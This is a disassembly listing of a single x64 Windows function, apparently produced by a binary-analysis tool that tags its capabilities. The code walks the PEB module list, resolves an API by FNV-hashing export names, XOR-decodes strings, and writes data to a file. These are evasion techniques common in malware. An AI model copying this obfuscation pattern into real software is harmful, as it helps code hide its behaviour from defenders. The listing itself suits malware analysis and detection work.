Function at 0x180022b90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
movaps xmmword [rsp + 0x70], xmm6
lea rax, [rbp - 0x50]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor ebx, ebx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
lea r14, [0x1801c04c0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [r14 + r8], bl
jne 0x180022bd7
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.180017ff0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
lea rsi, [0x1801c04b0]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x180022c03
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.180017ff0
nop
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x30]
lea rcx, [0x1801c0570]
call fcn.1800047c0
cmp byte [0x1801c07a8], 0
je 0x180022cf3
mov eax, dword [0x18015a740]
mov dword [rbp + 0x20], eax
movzx eax, word [0x18015a744]
mov word [rbp + 0x24], ax
mov byte [rbp + 0x20], Ordinal_79
xor byte [rbp + 0x21], 0x35
xor byte [rbp + 0x22], 0x36
xor byte [rbp + 0x23], 0x37
xor al, 0x38
mov byte [rbp + 0x24], al
xor byte [rbp + 0x25], 0x39
lea r8, [0x18015a758]
lea rdx, [rbp + 0x20]
lea rcx, [0x1801c0508]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x1801c0508]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov r9, qword [0x1801c0508]
mov edx, reloc.WS2_32.dll_ntohs
lea r8d, [rdx - 0xe]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [0x1801c0508]
mov edx, reloc.WS2_32.dll_ntohs
lea r8d, [rdx - 0xe]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [0x1801c0508]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov byte [0x1801c0d58], 1
mov dword [0x1801c0880], 1
mov dword [0x1801c087c], 3
jmp 0x180022f51
mov r10, qword [0x1801c0d78]
test r10, r10
jne 0x180022db7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x180022d97
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x180022d97
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x180022d92
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x180022d70
cmp edx, 0x23a979e4
je 0x180022f6e
test r8d, r8d
jne 0x180022d50
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x180022dad
cmp qword [rax + 0x30], 0
jne 0x180022d20
mov r10, rbx
mov qword [0x1801c0d78], r10
mov eax, dword [0x18015a750]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x18015a754]
movsd xmm0, qword [str.rT____]
mov byte [rbp - 0x54], al
movsd qword [rbp - 0x60], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x180022eea
movdqa xmm4, xmmword [0x18015ab30]
mov eax, 4
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x18015aa70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015aa90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015aaa0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [str.rT____]
xorps xmm2, xmm0
movd dword [rbp - 0x60], xmm2
movdqa xmm3, xmmword [0x18015aa80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015aa90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015aaa0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [rbp - 0x5c]
xorps xmm2, xmm0
movd dword [rbp - 0x5c], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x34
add cl, bl
xor byte [r8], cl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x180022f00
lea rdx, [0x1801c07b0]
cmp qword [0x1801c07c8], 0x10
cmovae rdx, qword [0x1801c07b0]
xor r9d, r9d
lea r8, [rbp - 0x60]
xor ecx, ecx
call r10
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
movaps xmm6, xmmword [rsp + 0x70]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x180022db0